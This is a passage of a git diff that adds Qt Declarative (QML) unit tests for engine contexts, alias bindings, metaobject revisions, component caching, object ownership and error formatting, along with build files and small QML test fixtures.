+ QDeclarativeComponent component(&engine, TEST_FILE("sharedAttachedObject.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test1").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ delete o;
+}
+
+// QTBUG-13999
+void tst_qdeclarativeecmascript::objectName()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("objectName.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test1").toString(), QString("hello"));
+ QCOMPARE(o->property("test2").toString(), QString("ell"));
+
+ o->setObjectName("world");
+
+ QCOMPARE(o->property("test1").toString(), QString("world"));
+ QCOMPARE(o->property("test2").toString(), QString("orl"));
+
+ delete o;
+}
+
+void tst_qdeclarativeecmascript::writeRemovesBinding()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("writeRemovesBinding.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test").toBool(), true);
+
+ delete o;
+}
+
+// Test bindings assigned to alias properties actually assign to the alias' target
+void tst_qdeclarativeecmascript::aliasBindingsAssignCorrectly()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasBindingsAssignCorrectly.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test").toBool(), true);
+
+ delete o;
+}
+
+// Test bindings assigned to alias properties override a binding on the target (QTBUG-13719)
+void tst_qdeclarativeecmascript::aliasBindingsOverrideTarget()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasBindingsOverrideTarget.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test").toBool(), true);
+
+ delete o;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasBindingsOverrideTarget.2.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test").toBool(), true);
+
+ delete o;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasBindingsOverrideTarget.3.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test").toBool(), true);
+
+ delete o;
+ }
+}
+
+// Test that writes to alias properties override bindings on the alias target (QTBUG-13719)
+void tst_qdeclarativeecmascript::aliasWritesOverrideBindings()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasWritesOverrideBindings.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test").toBool(), true);
+
+ delete o;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasWritesOverrideBindings.2.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test").toBool(), true);
+
+ delete o;
+ }
+
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("aliasWritesOverrideBindings.3.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test").toBool(), true);
+
+ delete o;
+ }
+}
+
+void tst_qdeclarativeecmascript::revisionErrors()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors.qml"));
+ QString url = component.url().toString();
+
+ QString warning1 = url + ":8: ReferenceError: Can't find variable: prop2";
+ QString warning2 = url + ":11: ReferenceError: Can't find variable: prop2";
+ QString warning3 = url + ":13: ReferenceError: Can't find variable: method2";
+
+ QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData());
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors2.qml"));
+ QString url = component.url().toString();
+
+ // MyRevisionedSubclass 1.0 uses MyRevisionedClass revision 0
+ // method2, prop2 from MyRevisionedClass not available
+ // method4, prop4 from MyRevisionedSubclass not available
+ QString warning1 = url + ":8: ReferenceError: Can't find variable: prop2";
+ QString warning2 = url + ":14: ReferenceError: Can't find variable: prop2";
+ QString warning3 = url + ":10: ReferenceError: Can't find variable: prop4";
+ QString warning4 = url + ":16: ReferenceError: Can't find variable: prop4";
+ QString warning5 = url + ":20: ReferenceError: Can't find variable: method2";
+
+ QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning4.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning5.toLatin1().constData());
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevisionErrors3.qml"));
+ QString url = component.url().toString();
+
+ // MyRevisionedSubclass 1.1 uses MyRevisionedClass revision 1
+ // All properties/methods available, except MyRevisionedBaseClassUnregistered rev 1
+ QString warning1 = url + ":30: ReferenceError: Can't find variable: methodD";
+ QString warning2 = url + ":10: ReferenceError: Can't find variable: propD";
+ QString warning3 = url + ":20: ReferenceError: Can't find variable: propD";
+ QTest::ignoreMessage(QtWarningMsg, warning1.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning2.toLatin1().constData());
+ QTest::ignoreMessage(QtWarningMsg, warning3.toLatin1().constData());
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+}
+
+void tst_qdeclarativeecmascript::revision()
+{
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision.qml"));
+ QString url = component.url().toString();
+
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision2.qml"));
+ QString url = component.url().toString();
+
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision3.qml"));
+ QString url = component.url().toString();
+
+ MyRevisionedClass *object = qobject_cast<MyRevisionedClass *>(component.create());
+ QVERIFY(object != 0);
+ }
+ // Test that non-root classes can resolve revisioned methods
+ {
+ QDeclarativeComponent component(&engine, TEST_FILE("metaobjectRevision4.qml"));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(object->property("test").toReal(), 11.);
+ delete object;
+ }
+}
+
+// Test for QScriptDeclarativeClass::pushCleanContext()
+void tst_qdeclarativeecmascript::pushCleanContext()
+{
+ QScriptEngine engine;
+ engine.globalObject().setProperty("a", 6);
+ QCOMPARE(engine.evaluate("a").toInt32(), 6);
+
+ // First confirm pushContext() behaves as we expect
+ QScriptValue object = engine.newObject();
+ object.setProperty("a", 15);
+ QScriptContext *context1 = engine.pushContext();
+ context1->pushScope(object);
+ QCOMPARE(engine.evaluate("a").toInt32(), 15);
+
+ QScriptContext *context2 = engine.pushContext();
+ Q_UNUSED(context2);
+ QCOMPARE(engine.evaluate("a").toInt32(), 15);
+ QScriptValue func1 = engine.evaluate("(function() { return a; })");
+
+ // Now check that pushCleanContext() works
+ QScriptDeclarativeClass::pushCleanContext(&engine);
+ QCOMPARE(engine.evaluate("a").toInt32(), 6);
+ QScriptValue func2 = engine.evaluate("(function() { return a; })");
+
+ engine.popContext();
+ QCOMPARE(engine.evaluate("a").toInt32(), 15);
+
+ engine.popContext();
+ QCOMPARE(engine.evaluate("a").toInt32(), 15);
+
+ engine.popContext();
+ QCOMPARE(engine.evaluate("a").toInt32(), 6);
+
+ // Check that function objects created in these contexts work
+ QCOMPARE(func1.call().toInt32(), 15);
+ QCOMPARE(func2.call().toInt32(), 6);
+}
+
+void tst_qdeclarativeecmascript::realToInt()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("realToInt.qml"));
+ MyQmlObject *object = qobject_cast<MyQmlObject*>(component.create());
+ QVERIFY(object != 0);
+
+ QMetaObject::invokeMethod(object, "test1");
+ QCOMPARE(object->value(), int(4));
+ QMetaObject::invokeMethod(object, "test2");
+ QCOMPARE(object->value(), int(8));
+}
+
+void tst_qdeclarativeecmascript::qtbug_20648()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("qtbug_20648.qml"));
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+ QCOMPARE(o->property("test").toInt(), 100);
+ delete o;
+}
+
+QTEST_MAIN(tst_qdeclarativeecmascript)
+
+#include "tst_qdeclarativeecmascript.moc"
diff --git a/tests/auto/declarative/qdeclarativeengine/qdeclarativeengine.pro b/tests/auto/declarative/qdeclarativeengine/qdeclarativeengine.pro
new file mode 100644
index 00000000..7119ad99
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeengine/qdeclarativeengine.pro
@@ -0,0 +1,12 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative network
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeengine.cpp
+
+!symbian: {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativeengine/tst_qdeclarativeengine.cpp b/tests/auto/declarative/qdeclarativeengine/tst_qdeclarativeengine.cpp
new file mode 100644
index 00000000..152a8150
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeengine/tst_qdeclarativeengine.cpp
@@ -0,0 +1,333 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QDeclarativeEngine>
+#include <QDeclarativeContext>
+#include <QNetworkAccessManager>
+#include <QPointer>
+#include <QDir>
+#include <QDesktopServices>
+#include <QDebug>
+#include <QDeclarativeComponent>
+#include <QDeclarativeNetworkAccessManagerFactory>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativeengine : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeengine() {}
+
+private slots:
+ void rootContext();
+ void networkAccessManager();
+ void baseUrl();
+ void contextForObject();
+ void offlineStoragePath();
+ void clearComponentCache();
+ void outputWarningsToStandardError();
+ void objectOwnership();
+};
+
+void tst_qdeclarativeengine::rootContext()
+{
+ QDeclarativeEngine engine;
+
+ QVERIFY(engine.rootContext());
+
+ QCOMPARE(engine.rootContext()->engine(), &engine);
+ QVERIFY(engine.rootContext()->parentContext() == 0);
+}
+
+class NetworkAccessManagerFactory : public QDeclarativeNetworkAccessManagerFactory
+{
+public:
+ NetworkAccessManagerFactory() : manager(0) {}
+
+ QNetworkAccessManager *create(QObject *parent) {
+ manager = new QNetworkAccessManager(parent);
+ return manager;
+ }
+
+ QNetworkAccessManager *manager;
+};
+
+void tst_qdeclarativeengine::networkAccessManager()
+{
+ QDeclarativeEngine *engine = new QDeclarativeEngine;
+
+ // Test QDeclarativeEngine created manager
+ QPointer<QNetworkAccessManager> manager = engine->networkAccessManager();
+ QVERIFY(manager != 0);
+ delete engine;
+
+ // Test factory created manager
+ engine = new QDeclarativeEngine;
+ NetworkAccessManagerFactory factory;
+ engine->setNetworkAccessManagerFactory(&factory);
+ QVERIFY(engine->networkAccessManagerFactory() == &factory);
+ QVERIFY(engine->networkAccessManager() == factory.manager);
+ delete engine;
+}
+
+void tst_qdeclarativeengine::baseUrl()
+{
+ QDeclarativeEngine engine;
+
+ QUrl cwd = QUrl::fromLocalFile(QDir::currentPath() + QDir::separator());
+
+ QCOMPARE(engine.baseUrl(), cwd);
+ QCOMPARE(engine.rootContext()->resolvedUrl(QUrl("main.qml")), cwd.resolved(QUrl("main.qml")));
+
+ QDir dir = QDir::current();
+ dir.cdUp();
+ QVERIFY(dir != QDir::current());
+ QDir::setCurrent(dir.path());
+ QVERIFY(QDir::current() == dir);
+
+ QUrl cwd2 = QUrl::fromLocalFile(QDir::currentPath() + QDir::separator());
+ QCOMPARE(engine.baseUrl(), cwd2);
+ QCOMPARE(engine.rootContext()->resolvedUrl(QUrl("main.qml")), cwd2.resolved(QUrl("main.qml")));
+
+ engine.setBaseUrl(cwd);
+ QCOMPARE(engine.baseUrl(), cwd);
+ QCOMPARE(engine.rootContext()->resolvedUrl(QUrl("main.qml")), cwd.resolved(QUrl("main.qml")));
+}
+
+void tst_qdeclarativeengine::contextForObject()
+{
+ QDeclarativeEngine *engine = new QDeclarativeEngine;
+
+ // Test null-object
+ QVERIFY(QDeclarativeEngine::contextForObject(0) == 0);
+
+ // Test an object with no context
+ QObject object;
+ QVERIFY(QDeclarativeEngine::contextForObject(&object) == 0);
+
+ // Test setting null-object
+ QDeclarativeEngine::setContextForObject(0, engine->rootContext());
+
+ // Test setting null-context
+ QDeclarativeEngine::setContextForObject(&object, 0);
+
+ // Test setting context
+ QDeclarativeEngine::setContextForObject(&object, engine->rootContext());
+ QVERIFY(QDeclarativeEngine::contextForObject(&object) == engine->rootContext());
+
+ QDeclarativeContext context(engine->rootContext());
+
+ // Try changing context
+ QTest::ignoreMessage(QtWarningMsg, "QDeclarativeEngine::setContextForObject(): Object already has a QDeclarativeContext");
+ QDeclarativeEngine::setContextForObject(&object, &context);
+ QVERIFY(QDeclarativeEngine::contextForObject(&object) == engine->rootContext());
+
+ // Delete context
+ delete engine; engine = 0;
+ QVERIFY(QDeclarativeEngine::contextForObject(&object) == 0);
+}
+
+void tst_qdeclarativeengine::offlineStoragePath()
+{
+ // Without these set, QDesktopServices::storageLocation returns
+ // strings with extra "//" at the end. We set them to ignore this problem.
+ qApp->setApplicationName("tst_qdeclarativeengine");
+ qApp->setOrganizationName("Nokia");
+ qApp->setOrganizationDomain("nokia.com");
+
+ QDeclarativeEngine engine;
+
+ QDir dir(QDesktopServices::storageLocation(QDesktopServices::DataLocation));
+ dir.mkpath("QML");
+ dir.cd("QML");
+ dir.mkpath("OfflineStorage");
+ dir.cd("OfflineStorage");
+
+ QCOMPARE(QDir::fromNativeSeparators(engine.offlineStoragePath()), dir.path());
+
+ engine.setOfflineStoragePath(QDir::homePath());
+ QCOMPARE(engine.offlineStoragePath(), QDir::homePath());
+}
+
+void tst_qdeclarativeengine::clearComponentCache()
+{
+ QDeclarativeEngine engine;
+
+ // Create original qml file
+ {
+ QFile file("temp.qml");
+ QVERIFY(file.open(QIODevice::WriteOnly));
+ file.write("import QtQuick 1.0\nQtObject {\nproperty int test: 10\n}\n");
+ file.close();
+ }
+
+ // Test "test" property
+ {
+ QDeclarativeComponent component(&engine, "temp.qml");
+ QObject *obj = component.create();
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->property("test").toInt(), 10);
+ delete obj;
+ }
+
+ // Modify qml file
+ {
+ QFile file("temp.qml");
+ QVERIFY(file.open(QIODevice::WriteOnly));
+ file.write("import QtQuick 1.0\nQtObject {\nproperty int test: 11\n}\n");
+ file.close();
+ }
+
+ // Test cache hit
+ {
+ QDeclarativeComponent component(&engine, "temp.qml");
+ QObject *obj = component.create();
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->property("test").toInt(), 10);
+ delete obj;
+ }
+
+ // Clear cache
+ engine.clearComponentCache();
+
+ // Test cache refresh
+ {
+ QDeclarativeComponent component(&engine, "temp.qml");
+ QObject *obj = component.create();
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->property("test").toInt(), 11);
+ delete obj;
+ }
+}
+
+static QStringList warnings;
+static void msgHandler(QtMsgType, const char *warning)
+{
+ warnings << QString::fromUtf8(warning);
+}
+
+void tst_qdeclarativeengine::outputWarningsToStandardError()
+{
+ QDeclarativeEngine engine;
+
+ QCOMPARE(engine.outputWarningsToStandardError(), true);
+
+ QDeclarativeComponent c(&engine);
+ c.setData("import QtQuick 1.0; QtObject { property int a: undefined }", QUrl());
+
+ QVERIFY(c.isReady() == true);
+
+ warnings.clear();
+ QtMsgHandler old = qInstallMsgHandler(msgHandler);
+
+ QObject *o = c.create();
+
+ qInstallMsgHandler(old);
+
+ QVERIFY(o != 0);
+ delete o;
+
+ QCOMPARE(warnings.count(), 1);
+ QCOMPARE(warnings.at(0), QLatin1String("<Unknown File>:1: Unable to assign [undefined] to int a"));
+ warnings.clear();
+
+
+ engine.setOutputWarningsToStandardError(false);
+ QCOMPARE(engine.outputWarningsToStandardError(), false);
+
+
+ old = qInstallMsgHandler(msgHandler);
+
+ o = c.create();
+
+ qInstallMsgHandler(old);
+
+ QVERIFY(o != 0);
+ delete o;
+
+ QCOMPARE(warnings.count(), 0);
+}
+
+void tst_qdeclarativeengine::objectOwnership()
+{
+ {
+ QCOMPARE(QDeclarativeEngine::objectOwnership(0), QDeclarativeEngine::CppOwnership);
+ QDeclarativeEngine::setObjectOwnership(0, QDeclarativeEngine::JavaScriptOwnership);
+ QCOMPARE(QDeclarativeEngine::objectOwnership(0), QDeclarativeEngine::CppOwnership);
+ }
+
+ {
+ QObject o;
+ QCOMPARE(QDeclarativeEngine::objectOwnership(&o), QDeclarativeEngine::CppOwnership);
+ QDeclarativeEngine::setObjectOwnership(&o, QDeclarativeEngine::CppOwnership);
+ QCOMPARE(QDeclarativeEngine::objectOwnership(&o), QDeclarativeEngine::CppOwnership);
+ QDeclarativeEngine::setObjectOwnership(&o, QDeclarativeEngine::JavaScriptOwnership);
+ QCOMPARE(QDeclarativeEngine::objectOwnership(&o), QDeclarativeEngine::JavaScriptOwnership);
+ QDeclarativeEngine::setObjectOwnership(&o, QDeclarativeEngine::CppOwnership);
+ QCOMPARE(QDeclarativeEngine::objectOwnership(&o), QDeclarativeEngine::CppOwnership);
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine);
+ c.setData("import QtQuick 1.0; QtObject { property QtObject object: QtObject {} }", QUrl());
+
+ QObject *o = c.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(QDeclarativeEngine::objectOwnership(o), QDeclarativeEngine::CppOwnership);
+
+ QObject *o2 = qvariant_cast<QObject *>(o->property("object"));
+ QCOMPARE(QDeclarativeEngine::objectOwnership(o2), QDeclarativeEngine::JavaScriptOwnership);
+
+ delete o;
+ }
+
+}
+
+QTEST_MAIN(tst_qdeclarativeengine)
+
+#include "tst_qdeclarativeengine.moc"
diff --git a/tests/auto/declarative/qdeclarativeerror/qdeclarativeerror.pro b/tests/auto/declarative/qdeclarativeerror/qdeclarativeerror.pro
new file mode 100644
index 00000000..0c7240a0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeerror/qdeclarativeerror.pro
@@ -0,0 +1,12 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+SOURCES += tst_qdeclarativeerror.cpp
+macx:CONFIG -= app_bundle
+
+!symbian: {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
+CONFIG+=insignificant_test # QTQAINFRA-428
diff --git a/tests/auto/declarative/qdeclarativeerror/test.txt b/tests/auto/declarative/qdeclarativeerror/test.txt
new file mode 100644
index 00000000..cdafd9ed
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeerror/test.txt
@@ -0,0 +1,3 @@
+Line Content
+Line2 Content
+Line3 Content
diff --git a/tests/auto/declarative/qdeclarativeerror/tst_qdeclarativeerror.cpp b/tests/auto/declarative/qdeclarativeerror/tst_qdeclarativeerror.cpp
new file mode 100644
index 00000000..f01cf223
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeerror/tst_qdeclarativeerror.cpp
@@ -0,0 +1,247 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QDeclarativeError>
+#include <QDebug>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativeerror : public QObject
+{
+ Q_OBJECT
+private slots:
+ void url();
+ void description();
+ void line();
+ void column();
+ void toString();
+
+ void copy();
+ void debug();
+};
+
+void tst_qdeclarativeerror::url()
+{
+ QDeclarativeError error;
+
+ QCOMPARE(error.url(), QUrl());
+
+ error.setUrl(QUrl("http://www.nokia.com/main.qml"));
+
+ QCOMPARE(error.url(), QUrl("http://www.nokia.com/main.qml"));
+
+ QDeclarativeError error2 = error;
+
+ QCOMPARE(error2.url(), QUrl("http://www.nokia.com/main.qml"));
+
+ error.setUrl(QUrl("http://qt.nokia.com/main.qml"));
+
+ QCOMPARE(error.url(), QUrl("http://qt.nokia.com/main.qml"));
+ QCOMPARE(error2.url(), QUrl("http://www.nokia.com/main.qml"));
+}
+
+void tst_qdeclarativeerror::description()
+{
+ QDeclarativeError error;
+
+ QCOMPARE(error.description(), QString());
+
+ error.setDescription("An Error");
+
+ QCOMPARE(error.description(), QString("An Error"));
+
+ QDeclarativeError error2 = error;
+
+ QCOMPARE(error2.description(), QString("An Error"));
+
+ error.setDescription("Another Error");
+
+ QCOMPARE(error.description(), QString("Another Error"));
+ QCOMPARE(error2.description(), QString("An Error"));
+}
+
+void tst_qdeclarativeerror::line()
+{
+ QDeclarativeError error;
+
+ QCOMPARE(error.line(), -1);
+
+ error.setLine(102);
+
+ QCOMPARE(error.line(), 102);
+
+ QDeclarativeError error2 = error;
+
+ QCOMPARE(error2.line(), 102);
+
+ error.setLine(4);
+
+ QCOMPARE(error.line(), 4);
+ QCOMPARE(error2.line(), 102);
+}
+
+void tst_qdeclarativeerror::column()
+{
+ QDeclarativeError error;
+
+ QCOMPARE(error.column(), -1);
+
+ error.setColumn(16);
+
+ QCOMPARE(error.column(), 16);
+
+ QDeclarativeError error2 = error;
+
+ QCOMPARE(error2.column(), 16);
+
+ error.setColumn(3);
+
+ QCOMPARE(error.column(), 3);
+ QCOMPARE(error2.column(), 16);
+}
+
+void tst_qdeclarativeerror::toString()
+{
+ {
+ QDeclarativeError error;
+ error.setUrl(QUrl("http://www.nokia.com/main.qml"));
+ error.setDescription("An Error");
+ error.setLine(92);
+ error.setColumn(13);
+
+ QCOMPARE(error.toString(), QString("http://www.nokia.com/main.qml:92:13: An Error"));
+ }
+
+ {
+ QDeclarativeError error;
+ error.setUrl(QUrl("http://www.nokia.com/main.qml"));
+ error.setDescription("An Error");
+ error.setLine(92);
+
+ QCOMPARE(error.toString(), QString("http://www.nokia.com/main.qml:92: An Error"));
+ }
+}
+
+void tst_qdeclarativeerror::copy()
+{
+ QDeclarativeError error;
+ error.setUrl(QUrl("http://www.nokia.com/main.qml"));
+ error.setDescription("An Error");
+ error.setLine(92);
+ error.setColumn(13);
+
+ QDeclarativeError error2(error);
+ QDeclarativeError error3;
+ error3 = error;
+
+ error.setUrl(QUrl("http://qt.nokia.com/main.qml"));
+ error.setDescription("Another Error");
+ error.setLine(2);
+ error.setColumn(33);
+
+ QCOMPARE(error.url(), QUrl("http://qt.nokia.com/main.qml"));
+ QCOMPARE(error.description(), QString("Another Error"));
+ QCOMPARE(error.line(), 2);
+ QCOMPARE(error.column(), 33);
+
+ QCOMPARE(error2.url(), QUrl("http://www.nokia.com/main.qml"));
+ QCOMPARE(error2.description(), QString("An Error"));
+ QCOMPARE(error2.line(), 92);
+ QCOMPARE(error2.column(), 13);
+
+ QCOMPARE(error3.url(), QUrl("http://www.nokia.com/main.qml"));
+ QCOMPARE(error3.description(), QString("An Error"));
+ QCOMPARE(error3.line(), 92);
+ QCOMPARE(error3.column(), 13);
+
+}
+
+void tst_qdeclarativeerror::debug()
+{
+ {
+ QDeclarativeError error;
+ error.setUrl(QUrl("http://www.nokia.com/main.qml"));
+ error.setDescription("An Error");
+ error.setLine(92);
+ error.setColumn(13);
+
+ QTest::ignoreMessage(QtWarningMsg, "http://www.nokia.com/main.qml:92:13: An Error ");
+ qWarning() << error;
+ }
+
+ {
+ QUrl url(QUrl::fromLocalFile(QString(SRCDIR) + "/").resolved(QUrl("test.txt")));
+ QDeclarativeError error;
+ error.setUrl(url);
+ error.setDescription("An Error");
+ error.setLine(2);
+ error.setColumn(5);
+
+ QString out = url.toString() + ":2:5: An Error \n Line2 Content \n ^ ";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(out));
+
+ qWarning() << error;
+ }
+
+ {
+ QUrl url(QUrl::fromLocalFile(QString(SRCDIR) + "/").resolved(QUrl("foo.txt")));
+ QDeclarativeError error;
+ error.setUrl(url);
+ error.setDescription("An Error");
+ error.setLine(2);
+ error.setColumn(5);
+
+ QString out = url.toString() + ":2:5: An Error ";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(out));
+
+ qWarning() << error;
+ }
+}
+
+
+
+QTEST_MAIN(tst_qdeclarativeerror)
+
+#include "tst_qdeclarativeerror.moc"
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/disabledcontent.qml b/tests/auto/declarative/qdeclarativeflickable/data/disabledcontent.qml
new file mode 100644
index 00000000..dcbb20bd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/disabledcontent.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+Flickable {
+ width: 100; height: 100
+ contentWidth: 200; contentHeight: 300
+
+ QGraphicsWidget { width: 200; height: 300; enabled: false }
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/flickable01.qml b/tests/auto/declarative/qdeclarativeflickable/data/flickable01.qml
new file mode 100644
index 00000000..c53ae3f9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/flickable01.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+Flickable {
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/flickable02.qml b/tests/auto/declarative/qdeclarativeflickable/data/flickable02.qml
new file mode 100644
index 00000000..98925ae3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/flickable02.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Flickable {
+ width: 100; height: 100
+ contentWidth: row.width; contentHeight: row.height
+
+ Row {
+ id: row
+ Repeater {
+ model: 4
+ Rectangle { width: 200; height: 300; color: "blue" }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/flickable03.qml b/tests/auto/declarative/qdeclarativeflickable/data/flickable03.qml
new file mode 100644
index 00000000..8359ad1b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/flickable03.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Flickable {
+ width: 100; height: 200
+ contentWidth: column.width; contentHeight: column.height
+
+ Column {
+ id: column
+ Repeater {
+ model: 4
+ Rectangle { width: 200; height: 300; color: "blue" }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeflickable/data/flickable04.qml b/tests/auto/declarative/qdeclarativeflickable/data/flickable04.qml
new file mode 100644
index 00000000..fcc683ae
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeflickable/data/flickable04.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+
+Flickable {
+ property bool ok: false
+ function check() {
+ if (column.parent == contentItem)
+ ok = true;
+ }
+
+ width: 100; height: 100
+ contentWidth: column.width; contentHeight: column.height
